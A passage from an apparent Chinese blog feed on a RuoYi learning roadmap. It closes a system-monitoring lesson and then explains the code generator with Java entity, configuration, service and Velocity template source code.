&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Jvm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;JVM 信息&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Sys&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;系统信息&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysFile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;磁盘信息&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CacheController&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;缓存监控控制器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;OnlineController&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;在线用户控制器&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;监控项&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CPU&lt;/td&gt;
&lt;td&gt;使用率、核心数、等待率&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;内存&lt;/td&gt;
&lt;td&gt;总量、已用、可用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JVM&lt;/td&gt;
&lt;td&gt;版本、内存、运行时间&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;磁盘&lt;/td&gt;
&lt;td&gt;各分区使用情况&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;缓存&lt;/td&gt;
&lt;td&gt;Redis 键值对管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;在线用户&lt;/td&gt;
&lt;td&gt;会话管理、强制退出&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据监控&lt;/td&gt;
&lt;td&gt;SQL 执行统计&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
&lt;strong&gt;恭喜完成 RuoYi 学习路线！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过这 12 个阶段的学习，你已经掌握了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Spring Boot 项目搭建与配置&lt;/li&gt;
&lt;li&gt;MyBatis 数据库操作&lt;/li&gt;
&lt;li&gt;Shiro 权限框架&lt;/li&gt;
&lt;li&gt;RBAC 权限模型&lt;/li&gt;
&lt;li&gt;用户、角色、菜单管理&lt;/li&gt;
&lt;li&gt;部门、岗位组织架构&lt;/li&gt;
&lt;li&gt;字典、参数系统配置&lt;/li&gt;
&lt;li&gt;AOP 日志管理&lt;/li&gt;
&lt;li&gt;Quartz 定时任务&lt;/li&gt;
&lt;li&gt;代码生成器&lt;/li&gt;
&lt;li&gt;系统监控&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;建议接下来：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;动手实践&lt;/strong&gt;：基于 RuoYi 开发一个自己的项目&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;深入源码&lt;/strong&gt;：阅读更多 RuoYi 源码细节&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;学习扩展&lt;/strong&gt;：了解 RuoYi-Vue（前后端分离版本）&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
返回：&lt;a href=&quot;/blog/posts/ruoyi-roadmap-00-overview/&quot;&gt;RuoYi 学习路线总览&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>RuoYi 阶段十一：代码生成器</title><link>http://117.72.32.87/blog/posts/ruoyi-roadmap-11-code-generator/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/ruoyi-roadmap-11-code-generator/</guid><description>学习代码生成器的实现，掌握 Velocity 模板引擎、表结构解析和自动化代码生成。</description><pubDate>Mon, 07 Sep 2026 13:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文是 RuoYi 学习路线的&lt;strong&gt;阶段十一&lt;/strong&gt;，聚焦代码生成器。学完本篇你应该能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;理解代码生成器的工作原理&lt;/li&gt;
&lt;li&gt;掌握 Velocity 模板引擎的使用&lt;/li&gt;
&lt;li&gt;知道如何自定义代码模板&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前端视角：代码生成器像什么？&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;RuoYi 代码生成器&lt;/th&gt;
&lt;th&gt;前端类比&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Velocity 模板&lt;/td&gt;
&lt;td&gt;Handlebars / EJS 模板引擎&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;表结构解析&lt;/td&gt;
&lt;td&gt;Schema 解析&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;代码生成&lt;/td&gt;
&lt;td&gt;脚手架工具 (create-react-app)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;模板配置&lt;/td&gt;
&lt;td&gt;代码片段 (Snippets)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;批量生成&lt;/td&gt;
&lt;td&gt;代码模板批量应用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;代码生成器架构&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────┐
│   数据库表      │
└────────┬────────┘
         │ 解析
         ▼
┌─────────────────┐
│   GenTable      │
│   GenTableColumn│
└────────┬────────┘
         │ 配置
         ▼
┌─────────────────┐
│  Velocity 模板  │
│  (vm 文件)      │
└────────┬────────┘
         │ 渲染
         ▼
┌─────────────────┐
│  生成的代码     │
│  Domain/Mapper/ │
│  Service/Controller│
└─────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;生成表实体类&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/generator/domain/GenTable.java
package com.ruoyi.generator.domain;

import java.util.List;
import javax.validation.Valid;
import javax.validation.constraints.NotBlank;
import org.apache.commons.lang3.ArrayUtils;
import com.ruoyi.common.constant.GenConstants;
import com.ruoyi.common.core.domain.BaseEntity;
import com.ruoyi.common.utils.StringUtils;

/**
 * 业务表 gen_table
 * 
 * @author ruoyi
 */
public class GenTable extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 编号 */
    private Long tableId;

    /** 表名称 */
    @NotBlank(message = &quot;表名称不能为空&quot;)
    private String tableName;

    /** 表描述 */
    @NotBlank(message = &quot;表描述不能为空&quot;)
    private String tableComment;

    /** 关联父表的表名 */
    private String subTableName;

    /** 本表与关联父表的外键名 */
    private String subTableFkName;

    /** 实体类名称(首字母大写) */
    @NotBlank(message = &quot;实体类名称不能为空&quot;)
    private String className;

    /** 使用的模板（crud单表操作 tree树表操作 sub主子表操作） */
    private String tplCategory;

    /** 生成包路径 */
    @NotBlank(message = &quot;生成包路径不能为空&quot;)
    private String packageName;

    /** 生成模块名 */
    @NotBlank(message = &quot;生成模块名不能为空&quot;)
    private String moduleName;

    /** 生成业务名 */
    @NotBlank(message = &quot;生成业务名不能为空&quot;)
    private String businessName;

    /** 生成功能名 */
    @NotBlank(message = &quot;生成功能名不能为空&quot;)
    private String functionName;

    /** 生成作者 */
    @NotBlank(message = &quot;作者不能为空&quot;)
    private String functionAuthor;

    /** 生成代码方式（0zip压缩包 1自定义路径） */
    private String genType;

    /** 生成路径（不填默认项目路径） */
    private String genPath;

    /** 主键信息 */
    private GenTableColumn pkColumn;

    /** 子表信息 */
    private GenTable subTable;

    /** 表列信息 */
    @Valid
    private List&amp;lt;GenTableColumn&amp;gt; columns;

    /** 其它生成选项 */
    private String options;

    /** 树编码字段 */
    private String treeCode;

    /** 树父编码字段 */
    private String treeParentCode;

    /** 树名称字段 */
    private String treeName;

    /** 上级菜单ID字段 */
    private String parentMenuId;

    /** 上级菜单名称字段 */
    private String parentMenuName;

    // Getter 和 Setter 省略...

    public boolean isSub() {
        return isSub(this.tplCategory);
    }

    public static boolean isSub(String tplCategory) {
        return tplCategory != null &amp;amp;&amp;amp; StringUtils.equals(GenConstants.TPL_SUB, tplCategory);
    }

    public boolean isTree() {
        return isTree(this.tplCategory);
    }

    public static boolean isTree(String tplCategory) {
        return tplCategory != null &amp;amp;&amp;amp; StringUtils.equals(GenConstants.TPL_TREE, tplCategory);
    }

    public boolean isCrud() {
        return isCrud(this.tplCategory);
    }

    public static boolean isCrud(String tplCategory) {
        return tplCategory != null &amp;amp;&amp;amp; StringUtils.equals(GenConstants.TPL_CRUD, tplCategory);
    }

    public String getPermissionPrefix() {
        return getModuleName() + &quot;:&quot; + getBusinessName();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;生成列实体类&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/generator/domain/GenTableColumn.java
package com.ruoyi.generator.domain;

import javax.validation.constraints.NotBlank;
import com.ruoyi.common.core.domain.BaseEntity;
import com.ruoyi.common.utils.StringUtils;

/**
 * 代码生成业务字段表 gen_table_column
 * 
 * @author ruoyi
 */
public class GenTableColumn extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 编号 */
    private Long columnId;

    /** 归属表编号 */
    private Long tableId;

    /** 列名称 */
    private String columnName;

    /** 列描述 */
    private String columnComment;

    /** 列类型 */
    private String columnType;

    /** JAVA类型 */
    private String javaType;

    /** JAVA字段名 */
    @NotBlank(message = &quot;Java属性不能为空&quot;)
    private String javaField;

    /** 是否主键（1是） */
    private String isPk;

    /** 是否自增（1是） */
    private String isIncrement;

    /** 是否必填（1是） */
    private String isRequired;

    /** 是否为插入字段（1是） */
    private String isInsert;

    /** 是否编辑字段（1是） */
    private String isEdit;

    /** 是否列表字段（1是） */
    private String isList;

    /** 是否查询字段（1是） */
    private String isQuery;

    /** 查询方式（EQ等于、NE不等于、GT大于、LT小于、LIKE模糊、BETWEEN范围） */
    private String queryType;

    /** 显示类型（input文本框、textarea文本域、select下拉框、checkbox复选框、radio单选框、datetime日期控件、upload上传控件、editor富文本控件） */
    private String htmlType;

    /** 字典类型 */
    private String dictType;

    /** 排序 */
    private Integer sort;

    // Getter 和 Setter 省略...

    public boolean isPk() {
        return isPk(this.isPk);
    }

    public boolean isPk(String isPk) {
        return isPk != null &amp;amp;&amp;amp; StringUtils.equals(&quot;1&quot;, isPk);
    }

    public boolean isIncrement() {
        return isIncrement(this.isIncrement);
    }

    public boolean isIncrement(String isIncrement) {
        return isIncrement != null &amp;amp;&amp;amp; StringUtils.equals(&quot;1&quot;, isIncrement);
    }

    public boolean isRequired() {
        return isRequired(this.isRequired);
    }

    public boolean isRequired(String isRequired) {
        return isRequired != null &amp;amp;&amp;amp; StringUtils.equals(&quot;1&quot;, isRequired);
    }

    public boolean isInsert() {
        return isInsert(this.isInsert);
    }

    public boolean isInsert(String isInsert) {
        return isInsert != null &amp;amp;&amp;amp; StringUtils.equals(&quot;1&quot;, isInsert);
    }

    public boolean isEdit() {
        return isEdit(this.isEdit);
    }

    public boolean isEdit(String isEdit) {
        return isEdit != null &amp;amp;&amp;amp; StringUtils.equals(&quot;1&quot;, isEdit);
    }

    public boolean isList() {
        return isList(this.isList);
    }

    public boolean isList(String isList) {
        return isList != null &amp;amp;&amp;amp; StringUtils.equals(&quot;1&quot;, isList);
    }

    public boolean isQuery() {
        return isQuery(this.isQuery);
    }

    public boolean isQuery(String isQuery) {
        return isQuery != null &amp;amp;&amp;amp; StringUtils.equals(&quot;1&quot;, isQuery);
    }

    public boolean isSuperColumn() {
        return isSuperColumn(this.javaField);
    }

    public static boolean isSuperColumn(String javaField) {
        return StringUtils.equalsAnyIgnoreCase(javaField,
                // BaseEntity
                &quot;createBy&quot;, &quot;createTime&quot;, &quot;updateBy&quot;, &quot;updateTime&quot;, &quot;remark&quot;,
                // TreeEntity
                &quot;parentName&quot;, &quot;parentId&quot;, &quot;orderNum&quot;, &quot;ancestors&quot;);
    }

    public boolean isUsableColumn() {
        return isUsableColumn(javaField);
    }

    public static boolean isUsableColumn(String javaField) {
        // isSuperColumn()中的名单用于避免生成多余Domain属性，若下列属性在BaseEntity/TreeEntity中已存在，
        // 则不需要在此处重复生成，因此排除
        return StringUtils.equalsAnyIgnoreCase(javaField, &quot;parentId&quot;, &quot;orderNum&quot;, &quot;remark&quot;);
    }

    public String readConverterExp() {
        String remarks = StringUtils.substringBetween(this.columnComment, &quot;（&quot;, &quot;）&quot;);
        StringBuffer sb = new StringBuffer();
        if (StringUtils.isNotEmpty(remarks)) {
            for (String value : remarks.split(&quot; &quot;)) {
                if (StringUtils.isNotEmpty(value)) {
                    Object startStr = value.subSequence(0, 1);
                    String endStr = value.substring(1);
                    sb.append(&quot;&quot;).append(startStr).append(&quot;=&quot;).append(endStr).append(&quot;,&quot;);
                }
            }
            return sb.deleteCharAt(sb.length() - 1).toString();
        } else {
            return this.columnComment;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Velocity 模板引擎&lt;/h2&gt;
&lt;h3&gt;模板配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/generator/config/GenConfig.java
package com.ruoyi.generator.config;

import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.context.annotation.PropertySource;
import org.springframework.stereotype.Component;

/**
 * 读取代码生成相关配置
 * 
 * @author ruoyi
 */
@Component
@ConfigurationProperties(prefix = &quot;gen&quot;)
@PropertySource(value = { &quot;classpath:generator.yml&quot; })
public class GenConfig {
    /** 作者 */
    public static String author;

    /** 生成包路径 */
    public static String packageName;

    /** 自动去除表前缀，默认是true */
    public static boolean autoRemovePre;

    /** 表前缀(类名不会包含表前缀) */
    public static String tablePrefix;

    /** 是否允许生成文件覆盖到本地（自定义路径），默认是false */
    public static boolean allowOverwrite;

    public static String getAuthor() {
        return author;
    }

    public void setAuthor(String author) {
        GenConfig.author = author;
    }

    public static String getPackageName() {
        return packageName;
    }

    public void setPackageName(String packageName) {
        GenConfig.packageName = packageName;
    }

    public static boolean getAutoRemovePre() {
        return autoRemovePre;
    }

    public void setAutoRemovePre(boolean autoRemovePre) {
        GenConfig.autoRemovePre = autoRemovePre;
    }

    public static String getTablePrefix() {
        return tablePrefix;
    }

    public void setTablePrefix(String tablePrefix) {
        GenConfig.tablePrefix = tablePrefix;
    }

    public static boolean isAllowOverwrite() {
        return allowOverwrite;
    }

    public void setAllowOverwrite(boolean allowOverwrite) {
        GenConfig.allowOverwrite = allowOverwrite;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;generator.yml 配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# generator.yml
gen:
  # 作者
  author: ruoyi
  # 默认生成包路径 system 需改成自己的模块名称 如 system monitor tool
  packageName: com.ruoyi.system
  # 自动去除表前缀，默认是true
  autoRemovePre: true
  # 表前缀(类名不会包含表前缀)
  tablePrefix: sys_
  # 是否允许生成文件覆盖到本地（自定义路径），默认是false
  allowOverwrite: false
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;模板文件&lt;/h2&gt;
&lt;p&gt;RuoYi 的代码模板位于 &lt;code&gt;src/main/resources/vm&lt;/code&gt; 目录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vm/
├── java/
│   ├── controller.java.vm      # Controller 模板
│   ├── domain.java.vm          # Domain 实体模板
│   ├── mapper.java.vm          # Mapper 接口模板
│   └── service.java.vm         # Service 接口模板
│   └── serviceImpl.java.vm     # Service 实现模板
├── xml/
│   └── mapper.xml.vm           # Mapper XML 模板
├── html/
│   ├── add.html.vm             # 新增页面模板
│   ├── edit.html.vm            # 编辑页面模板
│   └── list.html.vm            # 列表页面模板
└── sql/
    └── menu.sql.vm             # 菜单 SQL 模板
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Controller 模板示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;## src/main/resources/vm/java/controller.java.vm
package ${packageName}.controller;

import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.*;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import ${packageName}.domain.${ClassName};
import ${packageName}.service.I${ClassName}Service;

/**
 * ${functionName}Controller
 * 
 * @author ${author}
 * @date ${datetime}
 */
@Controller
@RequestMapping(&quot;/${moduleName}/${businessName}&quot;)
public class ${ClassName}Controller extends BaseController {
    private String prefix = &quot;${moduleName}/${businessName}&quot;;

    @Autowired
    private I${ClassName}Service ${className}Service;

    @RequiresPermissions(&quot;${permissionPrefix}:view&quot;)
    @GetMapping()
    public String ${businessName}() {
        return prefix + &quot;/${businessName}&quot;;
    }

    /**
     * 查询${functionName}列表
     */
    @RequiresPermissions(&quot;${permissionPrefix}:list&quot;)
    @PostMapping(&quot;/list&quot;)
    @ResponseBody
    public TableDataInfo list(${ClassName} ${className}) {
        startPage();
        List&amp;lt;${ClassName}&amp;gt; list = ${className}Service.select${ClassName}List(${className});
        return getDataTable(list);
    }

    /**
     * 导出${functionName}列表
     */
    @RequiresPermissions(&quot;${permissionPrefix}:export&quot;)
    @Log(title = &quot;${functionName}&quot;, businessType = BusinessType.EXPORT)
    @PostMapping(&quot;/export&quot;)
    @ResponseBody
    public AjaxResult export(HttpServletResponse response, ${ClassName} ${className}) {
        List&amp;lt;${ClassName}&amp;gt; list = ${className}Service.select${ClassName}List(${className});
        ExcelUtil&amp;lt;${ClassName}&amp;gt; util = new ExcelUtil&amp;lt;${ClassName}&amp;gt;(${ClassName}.class);
        return util.exportExcel(response, list, &quot;${functionName}数据&quot;);
    }

    /**
     * 新增${functionName}
     */
    @GetMapping(&quot;/add&quot;)
    public String add() {
        return prefix + &quot;/add&quot;;
    }

    /**
     * 新增保存${functionName}
     */
    @RequiresPermissions(&quot;${permissionPrefix}:add&quot;)
    @Log(title = &quot;${functionName}&quot;, businessType = BusinessType.INSERT)
    @PostMapping(&quot;/add&quot;)
    @ResponseBody
    public AjaxResult addSave(${ClassName} ${className}) {
        return toAjax(${className}Service.insert${ClassName}(${className}));
    }

    /**
     * 修改${functionName}
     */
    @GetMapping(&quot;/edit/{${pkColumn.javaField}}&quot;)
    public String edit(@PathVariable(&quot;${pkColumn.javaField}&quot;) ${pkColumn.javaType} ${pkColumn.javaField}, ModelMap mmap) {
        ${ClassName} ${className} = ${className}Service.select${ClassName}ById(${pkColumn.javaField});
        mmap.put(&quot;${className}&quot;, ${className});
        return prefix + &quot;/edit&quot;;
    }

    /**
     * 修改保存${functionName}
     */
    @RequiresPermissions(&quot;${permissionPrefix}:edit&quot;)
    @Log(title = &quot;${functionName}&quot;, businessType = BusinessType.UPDATE)
    @PostMapping(&quot;/edit&quot;)
    @ResponseBody
    public AjaxResult editSave(${ClassName} ${className}) {
        return toAjax(${className}Service.update${ClassName}(${className}));
    }

    /**
     * 删除${functionName}
     */
    @RequiresPermissions(&quot;${permissionPrefix}:remove&quot;)
    @Log(title = &quot;${functionName}&quot;, businessType = BusinessType.DELETE)
    @PostMapping(&quot;/remove&quot;)
    @ResponseBody
    public AjaxResult remove(String ids) {
        return toAjax(${className}Service.delete${ClassName}ByIds(ids));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Domain 模板示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;## src/main/resources/vm/java/domain.java.vm
package ${packageName}.domain;

#foreach ($import in $importList)
import ${import};
#end
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * ${functionName}对象 ${tableName}
 * 
 * @author ${author}
 * @date ${datetime}
 */
public class ${ClassName} extends BaseEntity {
    private static final long serialVersionUID = 1L;

#foreach ($column in $columns)
#if(!$table.isSuperColumn($column.javaField))
    /** ${column.columnComment} */
#if($column.list)
    @Excel(name = &quot;${column.columnComment}&quot;#if($column.readConverterExp), readConverterExp = &quot;$column.readConverterExp()&quot;#end)
#end
    private $column.javaType $column.javaField;

#end
#end
#foreach ($column in $columns)
#if(!$table.isSuperColumn($column.javaField))
    public void set${column.javaField.capitalize()}($column.javaType $column.javaField) {
        this.$column.javaField = $column.javaField;
    }

    public $column.javaType get${column.javaField.capitalize()}() {
        return $column.javaField;
    }

#end
#end
    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
#foreach ($column in $columns)
            .append(&quot;${column.javaField}&quot;, get${column.javaField.capitalize()}())
#end
            .toString();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;代码生成 Service&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/generator/service/GenTableServiceImpl.java
package com.ruoyi.generator.service;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.StringWriter;
import java.util.*;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import org.apache.commons.io.IOUtils;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.alibaba.fastjson.JSON;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.constant.GenConstants;
import com.ruoyi.common.core.text.CharsetKit;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.generator.domain.GenTable;
import com.ruoyi.generator.domain.GenTableColumn;
import com.ruoyi.generator.mapper.GenTableColumnMapper;
import com.ruoyi.generator.mapper.GenTableMapper;
import com.ruoyi.generator.util.GenUtils;
import com.ruoyi.generator.util.VelocityInitializer;
import com.ruoyi.generator.util.VelocityUtils;

/**
 * 业务 服务层实现
 * 
 * @author ruoyi
 */
@Service
public class GenTableServiceImpl implements IGenTableService {
    private static final Logger log = LoggerFactory.getLogger(GenTableServiceImpl.class);

    @Autowired
    private GenTableMapper genTableMapper;

    @Autowired
    private GenTableColumnMapper genTableColumnMapper;

    /**
     * 获取代码生成信息
     */
    @Override
    public GenTable selectGenTableById(Long tableId) {
        GenTable genTable = genTableMapper.selectGenTableById(tableId);
        setTableFromOptions(genTable);
        return genTable;
    }

    /**
     * 查询业务信息
     */
    @Override
    public List&amp;lt;GenTable&amp;gt; selectGenTableList(GenTable genTable) {
        return genTableMapper.selectGenTableList(genTable);
    }

    /**
     * 查询据库列表
     */
    @Override
    public List&amp;lt;GenTable&amp;gt; selectDbTableList(GenTable genTable) {
        return genTableMapper.selectDbTableList(genTable);
    }

    /**
     * 导入表结构
     */
    @Override
    @Transactional
    public void importGenTable(List&amp;lt;String&amp;gt; tableList) {
        String operName = SecurityUtils.getUsername();
        for (String tableName : tableList) {
            // 查询表信息
            GenTable table = genTableMapper.selectDbTableListByName(tableName);
            // 验证表是否已存在
            if (StringUtils.isNotNull(table)) {
                throw new ServiceException(&quot;表 &quot; + tableName + &quot; 已存在&quot;);
            }
            // 初始化表信息
            table = genTableMapper.selectDbTableByName(tableName);
            GenUtils.initTable(table, operName);
            int row = genTableMapper.insertGenTable(table);
            if (row &amp;gt; 0) {
                // 保存列信息
                List&amp;lt;GenTableColumn&amp;gt; genTableColumns = genTableColumnMapper.selectDbTableColumnsByName(tableName);
                for (GenTableColumn column : genTableColumns) {
                    GenUtils.initColumnField(column, table);
                    genTableColumnMapper.insertGenTableColumn(column);
                }
            }
        }
    }

    /**
     * 预览代码
     */
    @Override
    public Map&amp;lt;String, String&amp;gt; previewCode(Long tableId) {
        Map&amp;lt;String, String&amp;gt; dataMap = new LinkedHashMap&amp;lt;&amp;gt;();
        // 查询表信息
        GenTable table = genTableMapper.selectGenTableById(tableId);
        List&amp;lt;GenTableColumn&amp;gt; columns = genTableColumnMapper.selectGenTableColumnListByTableId(tableId);
        setPkColumn(table, columns);
        VelocityInitializer.initVelocity();

        VelocityContext context = VelocityUtils.prepareContext(table);

        // 获取模板列表
        List&amp;lt;String&amp;gt; templates = VelocityUtils.getTemplateList(table.getTplCategory());
        for (String template : templates) {
            // 渲染模板
            StringWriter sw = new StringWriter();
            Template tpl = Velocity.getTemplate(template, Constants.UTF8);
            tpl.merge(context, sw);
            dataMap.put(template, sw.toString());
        }
        return dataMap;
    }

    /**
     * 生成代码（下载方式）
     */
    @Override
    public byte[] downloadCode(String tableName) {
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        ZipOutputStream zip = new ZipOutputStream(outputStream);
        generatorCode(tableName, zip, true);
        IOUtils.closeQuietly(zip);
        return outputStream.toByteArray();
    }

    /**
     * 生成代码（自定义路径）
     */
    @Override
    public void generatorCode(String tableName) {
        generatorCode(tableName, null, false);
    }

    /**
     * 查询表信息并生成代码
     */
    private void generatorCode(String tableName, ZipOutputStream zip, boolean download) {
        // 查询表信息
        GenTable table = genTableMapper.selectGenTableByName(tableName);
        List&amp;lt;GenTableColumn&amp;gt; columns = genTableColumnMapper.selectGenTableColumnListByTableId(table.getTableId());
        setPkColumn(table, columns);

        VelocityInitializer.initVelocity();

        VelocityContext context = VelocityUtils.prepareContext(table);

        // 获取模板列表
        List&amp;lt;String&amp;gt; templates = VelocityUtils.getTemplateList(table.getTplCategory());
        for (String template : templates) {
            // 渲染模板
            StringWriter sw = new StringWriter();
            Template tpl = Velocity.getTemplate(template, Constants.UTF8);
            tpl.merge(context, sw);
            try {
                if (download) {
                    // 添加到zip
                    zip.putNextEntry(new ZipEntry(VelocityUtils.getFileName(template, table)));
                    IOUtils.write(sw.toString(), zip, Constants.UTF8);
                    IOUtils.closeQuietly(sw);
                    zip.closeEntry();
                } else {
                    // 写入文件
                    String path = getGenPath(table, template);
                    GenUtils.writeToFile(path, sw.toString());
                }
            } catch (IOException e) {
                log.error(&quot;渲染模板失败，表名：&quot; + table.getTableName(), e);
            }
        }
    }

    /**
     * 修改保存参数校验
     */
    @Override
    public void validateEdit(GenTable genTable) {
        if (GenConstants.TPL_TREE.equals(genTable.getTplCategory())) {
            String options = JSON.toJSONString(genTable.getParams());
            TreeTable treeTable = JSON.parseObject(options, TreeTable.class);
            if (StringUtils.isEmpty(treeTable.getTreeCode())) {
                throw new ServiceException(&quot;树编码字段不能为空&quot;);
            } else if (StringUtils.isEmpty(treeTable.getTreeParentCode())) {
                throw new ServiceException(&quot;树父编码字段不能为空&quot;);
            } else if (StringUtils.isEmpty(treeTable.getTreeName())) {
                throw new ServiceException(&quot;树名称字段不能为空&quot;);
            }
        } else if (GenConstants.TPL_SUB.equals(genTable.getTplCategory())) {
            if (StringUtils.isEmpty(genTable.getSubTableName())) {
                throw new ServiceException(&quot;子表名称不能为空&quot;);
            } else if (StringUtils.isEmpty(genTable.getSubTableFkName())) {
                throw new ServiceException(&quot;子表外键名称不能为空&quot;);
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Velocity 工具类&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/generator/util/VelocityUtils.java
package com.ruoyi.generator.util;

import java.util.*;
import org.apache.velocity.VelocityContext;
import com.alibaba.fastjson.JSONObject;
import com.ruoyi.common.constant.GenConstants;
import com.ruoyi.common.utils.DateUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.generator.domain.GenTable;
import com.ruoyi.generator.domain.GenTableColumn;

/**
 * 模板工具类
 * 
 * @author ruoyi
 */
public class VelocityUtils {
    /** 项目空间路径 */
    private static final String PROJECT_PATH = &quot;main/java&quot;;

    /** mybatis空间路径 */
    private static final String MYBATIS_PATH = &quot;main/resources/mapper&quot;;

    /** html空间路径 */
    private static final String TEMPLATES_PATH = &quot;main/resources/templates&quot;;

    /**
     * 设置模板变量信息
     */
    public static VelocityContext prepareContext(GenTable genTable) {
        String moduleName = genTable.getModuleName();
        String businessName = genTable.getBusinessName();
        String packageName = genTable.getPackageName();
        String tplCategory = genTable.getTplCategory();
        String functionName = genTable.getFunctionName();

        VelocityContext velocityContext = new VelocityContext();
        velocityContext.put(&quot;tplCategory&quot;, genTable.getTplCategory());
        velocityContext.put(&quot;tableName&quot;, genTable.getTableName());
        velocityContext.put(&quot;functionName&quot;, StringUtils.isNotEmpty(functionName) ? functionName : &quot;【请填写功能名称】&quot;);
        velocityContext.put(&quot;ClassName&quot;, genTable.getClassName());
